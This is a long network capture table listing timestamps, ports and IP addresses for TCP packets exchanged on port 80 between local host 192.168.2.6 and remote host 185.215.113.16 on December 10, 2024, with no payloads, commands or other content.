Dec 10, 2024 02:50:29.965179920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.965293884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.965327978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.966262102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.997445107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.099634886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.099749088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.099829912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.100014925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.100176096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.100223064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.101147890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.101303101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.101356030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.102303028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.102410078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.102454901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.103425026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.103542089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.103588104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.104528904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.104645967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.104686975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.105643034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.105766058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.105818033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.106775999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.106885910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.106920004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.107922077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.108036995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.108258009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.109024048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.109153032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.109199047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.110163927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.110289097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.110447884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.111257076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.111385107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.111439943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.112412930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.112514973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.112561941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.113570929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.113694906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.114655972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.114705086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.114765882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.115808964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.115860939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.115925074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.115963936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.116905928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.117019892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.117067099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.118051052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.118170023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.118212938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.119165897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.119393110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.120269060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.120281935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.120383978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.120421886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.121402025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.121633053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.121680975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.122520924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.122634888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.123648882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.123698950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.123776913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.124262094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.124761105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.124852896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.124893904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.125880957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.125994921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.126051903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.127037048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.127157927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.128145933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.128185034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.128247976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.129260063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.129314899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.129383087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.130387068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.130440950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.130510092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.130553007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.131510973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.131650925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.131700039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.132613897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.132803917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.132849932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.133758068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.133878946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.134908915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.134954929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.135015965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.135358095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.136013985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.136130095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.136173010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.137130022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.137276888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.137327909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.138267994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.138391018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.139388084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.139432907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.139496088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.140265942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.140512943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.140636921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.140682936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.141645908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.141758919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.141803026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.142755985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.142909050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.143882990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.143925905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.144000053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.144258022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.145014048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.145090103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.145132065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.146141052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.146274090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.146316051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.147255898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.147372961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.147412062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.148395061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.148514032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.148603916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.149493933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.149662971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.149704933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.150639057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.150743961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.150787115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.151751995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.151866913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.151909113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.152884007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.152996063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.153038025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.154055119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.154119968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.154164076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.155131102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.155263901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.155303001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.156240940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.156368017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.156578064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.157392025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.157520056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.157566071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.158468008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.213504076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.291676998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.291824102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.291874886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.292227983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.292363882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.292673111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.293385029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.293493986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.293543100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.294470072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.294610977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.294651985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.295614004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.295728922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.295785904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.296730042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.296838045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.296878099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.297866106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.297975063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.298017979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.298981905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.299139023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.299177885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.300112009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.300225019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.300272942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.301234961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.301347017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.301388025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.302403927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.302483082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.302522898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.303478956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.303601980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.303658009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.304613113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.304723024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.304759979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.305720091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.305836916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.305880070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.306857109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.306972027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.307010889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.307981968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.308087111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.308129072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.309108019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.309212923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.309262037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.310237885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.310337067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.310415030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.311352015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.311475992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.311530113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.312474012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.312630892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.312673092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.313615084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.313735962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.313776016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.314718008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.314835072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.314878941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.315841913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.315979958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.316023111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.316968918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.317071915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.317111969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.318131924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.318234921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.318290949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.319240093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.319348097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.319390059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.320354939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.320458889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.320507050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.321569920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.321696997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.321738005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.322603941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.322714090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.322890997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.323756933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.323889017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.324089050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.324847937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.325000048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.325043917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.325992107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.326086044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.326129913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.327100039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.327208996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.327250004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.328247070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.328378916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.328419924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.329329014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.329447985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.329504013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.330476999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.330585003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.330630064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.331588030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.331700087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.331746101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.332726955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.332850933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.332895994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.333851099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.333971977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.334011078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.334960938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.335118055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.335161924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.336096048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.336206913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.336250067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.337276936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.337393999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.337447882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.338365078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.338485956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.339457989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.339510918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.339569092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.340257883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.340617895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.340734005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.341727972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.341780901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.341892958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.342897892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.342953920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.343007088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.343050003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.344029903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.344206095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.344253063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.345104933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.345213890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.345351934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.346215010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.346353054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.346414089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.347354889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.347467899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.347553968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.348459005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.348557949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.349586964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.349648952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.349713087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.350708961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.352273941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.484025955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.484141111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.484205008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.484577894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.484694958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.484754086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.485697985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.485815048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.485862970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.486815929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.486923933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.486972094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.488025904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.488116980 CET	80	49752	185.215.113.16	192.168.2.6
